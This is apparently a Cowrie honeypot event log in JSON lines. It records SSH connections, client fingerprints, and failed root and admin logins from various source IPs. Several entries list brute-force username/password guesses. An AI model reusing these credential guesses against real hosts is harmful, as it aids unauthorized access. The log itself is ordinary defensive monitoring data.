{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:57:2c:28:25:f3:b1:80:73:a8:a1:90:8e:e4:e9:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+yb/MROuMU87fnB/UcQuk6cxw5Cpt4iW5e6KR59R1MwC3bPu+2f5aDM4bUPXg1AOfhVv3epThCAW/LZqUsJgJM2oiCo+MfgVCmXDPyTlahNtpwS+l5Hl+kMvwyrObAqC6lj1xms7bx6utxNaHm0+tVgsybEzgZo5zzJiRQ8Cc3qsMa2R0tqxE4vs+CpwiCcUXoiAbJL+QtUm4FYSlvv+S6m8xkQkWN7z44nXL50zDqs3N3OCiw2T+pPl2/jBCRTfnfnMYAseKyE1wC35GI2mF6SI+T6EJGCf8T828v0RatPCY/ER9y9Mcfn41azrVAR6J/pUtg/8BILq8EnhYWiPb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:57:2c:28:25:f3:b1:80:73:a8:a1:90:8e:e4:e9:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:59:23.565149Z","src_ip":"209.14.89.9","session":"56ab4f714ac6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:57:2c:28:25:f3:b1:80:73:a8:a1:90:8e:e4:e9:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+yb/MROuMU87fnB/UcQuk6cxw5Cpt4iW5e6KR59R1MwC3bPu+2f5aDM4bUPXg1AOfhVv3epThCAW/LZqUsJgJM2oiCo+MfgVCmXDPyTlahNtpwS+l5Hl+kMvwyrObAqC6lj1xms7bx6utxNaHm0+tVgsybEzgZo5zzJiRQ8Cc3qsMa2R0tqxE4vs+CpwiCcUXoiAbJL+QtUm4FYSlvv+S6m8xkQkWN7z44nXL50zDqs3N3OCiw2T+pPl2/jBCRTfnfnMYAseKyE1wC35GI2mF6SI+T6EJGCf8T828v0RatPCY/ER9y9Mcfn41azrVAR6J/pUtg/8BILq8EnhYWiPb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:59:23.568648Z","src_ip":"209.14.89.9","session":"56ab4f714ac6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:c5:f7:20:72:6e:bc:a6:6c:7c:90:19:d3:1c:dd:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBMDsklJ9g9FlufXcZCJJ5K6dOqdWhwMxPBJy0lhjSCUz9eapwlsJUoFMz4dzKvT+Ku2ASOB8WL4fViWb1LIxP/dWhel0zKcdP0k370kIOcjIGTS5P1+9RQxSZ/L7gNXuNUB9GCkPyCDtUMy+RSf/hdlk/KNxM/Ind27+eNgJn7oeBz+ScBh9wortkQu7BLhF0St3jCrph3PvCISPCYW4Lfi6+PBHCbdSgilCpxAQXfWC4+ndsojD7UnV9Khxad7IwZfs73FWGBTHT/RedK96nb3qhZKadGQLt7/1R9XF8e3vyxn6rdcXThgFp6699F/Khvd711xHG65Z6q4v0fng5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:c5:f7:20:72:6e:bc:a6:6c:7c:90:19:d3:1c:dd:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:59:23.684604Z","src_ip":"209.14.89.9","session":"56ab4f714ac6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:c5:f7:20:72:6e:bc:a6:6c:7c:90:19:d3:1c:dd:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBMDsklJ9g9FlufXcZCJJ5K6dOqdWhwMxPBJy0lhjSCUz9eapwlsJUoFMz4dzKvT+Ku2ASOB8WL4fViWb1LIxP/dWhel0zKcdP0k370kIOcjIGTS5P1+9RQxSZ/L7gNXuNUB9GCkPyCDtUMy+RSf/hdlk/KNxM/Ind27+eNgJn7oeBz+ScBh9wortkQu7BLhF0St3jCrph3PvCISPCYW4Lfi6+PBHCbdSgilCpxAQXfWC4+ndsojD7UnV9Khxad7IwZfs73FWGBTHT/RedK96nb3qhZKadGQLt7/1R9XF8e3vyxn6rdcXThgFp6699F/Khvd711xHG65Z6q4v0fng5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:59:23.689048Z","src_ip":"209.14.89.9","session":"56ab4f714ac6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:bb:75:f0:a4:2d:f6:7b:c5:45:6d:62:48:b1:85:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZSkRFPRgkL67irocB3hrtldYJoEY7wze60iTi0tyx4qa4ut6owVALZFoVgqqQ0A68r5yn2W5rNXzZ7j7zaCJoI0I7v879lJ+rlXBvRHCKyx1nM+NqyGK5b/eWkxU3krqB7RUhdQASIEQ20//GOcxB8ISc0vcOUQbAQLbdDdz+lABt2/A4VYWS1s6HbDms04bYBETZ7bTyaVhGo26UkAgijHZ4Nhv+DIQnkFHFB6xAK1j1nS7R3B42dzlBPqXhX8pv0W0Klq/x/oGVot4qvckF2PeuOCaHDEIkf8FlvKGQWmg/KrH9/yL85uowBNP6JSNNZ6O+eJgVdGompHzeNQTl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:bb:75:f0:a4:2d:f6:7b:c5:45:6d:62:48:b1:85:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:59:23.804867Z","src_ip":"209.14.89.9","session":"56ab4f714ac6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:bb:75:f0:a4:2d:f6:7b:c5:45:6d:62:48:b1:85:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZSkRFPRgkL67irocB3hrtldYJoEY7wze60iTi0tyx4qa4ut6owVALZFoVgqqQ0A68r5yn2W5rNXzZ7j7zaCJoI0I7v879lJ+rlXBvRHCKyx1nM+NqyGK5b/eWkxU3krqB7RUhdQASIEQ20//GOcxB8ISc0vcOUQbAQLbdDdz+lABt2/A4VYWS1s6HbDms04bYBETZ7bTyaVhGo26UkAgijHZ4Nhv+DIQnkFHFB6xAK1j1nS7R3B42dzlBPqXhX8pv0W0Klq/x/oGVot4qvckF2PeuOCaHDEIkf8FlvKGQWmg/KrH9/yL85uowBNP6JSNNZ6O+eJgVdGompHzeNQTl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:59:23.808489Z","src_ip":"209.14.89.9","session":"56ab4f714ac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:59:23.924830Z","src_ip":"209.14.89.9","session":"56ab4f714ac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":68.16300439834595,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:59:50.920511Z","src_ip":"212.55.149.117","session":"3ca2710fa730","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":31586,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a887669bcb0","protocol":"ssh","message":"New connection: 193.24.211.100:31586 (159.203.135.109:22) [session: 3a887669bcb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:59:52.480436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:59:52.488812Z","src_ip":"193.24.211.100","session":"3a887669bcb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:59:52.598370Z","src_ip":"193.24.211.100","session":"3a887669bcb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vincent","message":"login attempt [root/vincent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:59:53.029378Z","src_ip":"193.24.211.100","session":"3a887669bcb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:59:54.142455Z","src_ip":"193.24.211.100","session":"3a887669bcb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":37196,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7ee1f7f73b5","protocol":"ssh","message":"New connection: 2.57.121.112:37196 (159.203.135.109:22) [session: f7ee1f7f73b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:00:45.183663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:00:45.189441Z","src_ip":"2.57.121.112","session":"f7ee1f7f73b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:00:45.290132Z","src_ip":"2.57.121.112","session":"f7ee1f7f73b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pimmel","message":"login attempt [admin/pimmel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:00:45.762911Z","src_ip":"2.57.121.112","session":"f7ee1f7f73b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pilar","message":"login attempt [admin/pilar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:00:46.869182Z","src_ip":"2.57.121.112","session":"f7ee1f7f73b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"piggys","message":"login attempt [admin/piggys] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:00:47.973969Z","src_ip":"2.57.121.112","session":"f7ee1f7f73b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pi3141","message":"login attempt [admin/pi3141] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:00:49.076735Z","src_ip":"2.57.121.112","session":"f7ee1f7f73b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"phone1","message":"login attempt [admin/phone1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:00:50.183329Z","src_ip":"2.57.121.112","session":"f7ee1f7f73b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:00:51.286466Z","src_ip":"2.57.121.112","session":"f7ee1f7f73b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":48902,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c631e798954","protocol":"ssh","message":"New connection: 2.57.122.210:48902 (10.17.0.5:22) [session: 5c631e798954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:00:52.097989Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:00:52.211485Z","src_ip":"2.57.122.210","session":"5c631e798954","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":46922,"dst_ip":"10.17.0.5","dst_port":22,"session":"86b1584462b0","protocol":"ssh","message":"New connection: 193.32.162.145:46922 (10.17.0.5:22) [session: 86b1584462b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:00.387950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:00.393569Z","src_ip":"193.32.162.145","session":"86b1584462b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:00.497883Z","src_ip":"193.32.162.145","session":"86b1584462b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"shredstream","message":"login attempt [sol/shredstream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:00.803477Z","src_ip":"193.32.162.145","session":"86b1584462b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:01.907812Z","src_ip":"193.32.162.145","session":"86b1584462b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.252.238.153","src_port":39464,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f9a024a053c","protocol":"ssh","message":"New connection: 216.252.238.153:39464 (10.17.0.5:22) [session: 6f9a024a053c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:20.989276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:20.994207Z","src_ip":"216.252.238.153","session":"6f9a024a053c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:21.080731Z","src_ip":"216.252.238.153","session":"6f9a024a053c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:2c:45:13:d8:d2:61:a6:33:ce:ea:7c:77:b7:35:3d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAjFzKt42TeeFmnD6IJ7o/Onlt8Yw9wUUEc97QbUFzUw","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint f8:2c:45:13:d8:d2:61:a6:33:ce:ea:7c:77:b7:35:3d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:21.493486Z","src_ip":"216.252.238.153","session":"6f9a024a053c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:2c:45:13:d8:d2:61:a6:33:ce:ea:7c:77:b7:35:3d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAjFzKt42TeeFmnD6IJ7o/Onlt8Yw9wUUEc97QbUFzUw","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:21.497299Z","src_ip":"216.252.238.153","session":"6f9a024a053c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:7b:4f:a0:9f:97:7a:c0:09:b3:c3:5f:fa:b6:0b:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8Fw8xoQ7CrdKIjy4QcVMHdAsMdq2i8g7NM+8XHivBGHnTdBRFsYk0uknQBzE8ee4HfBCS6drgjaWxT1Qbp2802oJA9jLn68wEdx5HTXX4vPhXJtzkm3t276Qi2u9d4FWKGZ+BAnzz6drZRef6Op4JB9hDJkIgt4RgYwTUCZWE/CrS7BRwsGMVSFTvJiPAFTZF0OPcaKJOJqxHHKYd1Cq+9vHrcyb31Ai8/FSy1C7kwdJCry2zlnxUKsQ0vmQGhHLXk4o8fkgFS4MfTcM8yZxMegvWB3Dil2VgYrdA/rE7OrPgptcDnyIxyhVMIZlhOY0ABgQx3gEM0drDjry3bwBV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:7b:4f:a0:9f:97:7a:c0:09:b3:c3:5f:fa:b6:0b:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:21.585032Z","src_ip":"216.252.238.153","session":"6f9a024a053c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:7b:4f:a0:9f:97:7a:c0:09:b3:c3:5f:fa:b6:0b:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8Fw8xoQ7CrdKIjy4QcVMHdAsMdq2i8g7NM+8XHivBGHnTdBRFsYk0uknQBzE8ee4HfBCS6drgjaWxT1Qbp2802oJA9jLn68wEdx5HTXX4vPhXJtzkm3t276Qi2u9d4FWKGZ+BAnzz6drZRef6Op4JB9hDJkIgt4RgYwTUCZWE/CrS7BRwsGMVSFTvJiPAFTZF0OPcaKJOJqxHHKYd1Cq+9vHrcyb31Ai8/FSy1C7kwdJCry2zlnxUKsQ0vmQGhHLXk4o8fkgFS4MfTcM8yZxMegvWB3Dil2VgYrdA/rE7OrPgptcDnyIxyhVMIZlhOY0ABgQx3gEM0drDjry3bwBV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:21.588914Z","src_ip":"216.252.238.153","session":"6f9a024a053c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:05:45:d1:44:74:11:7d:0b:e2:3b:d1:d4:6e:61:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgz5FAc7EVIX9qkPV5/LtdndLOYAPbwiAONWSGzYp267gwVyOhWLTSa1waFUkK+U6yei73M9DqCZvzHCMwZ9SD0DvrEibQgDRzYrcgdMpXGIlNxt+1VJ+ktfIkWeq48y6TtbBaqScN+I68fut159Vc/sIYEbFlj0iGOhwX9GgH5/IA45SH4s1X42BuV/vB1rTy2GIGtKdkZKc7Yj8hFrNZokFUlmnu+SkYCN9sFMjRJM4nzBkfWOPxVVqeb5QGx8Icb6tIa/pZWjI6z0Llx56hYN46gkCOQyBPilXd7ehoOoA6GalKXCxpsIIR9UL8zkQQLPBA8ZRX+7xaS5+SarfB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:05:45:d1:44:74:11:7d:0b:e2:3b:d1:d4:6e:61:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:21.677223Z","src_ip":"216.252.238.153","session":"6f9a024a053c","protocol":"ssh"}
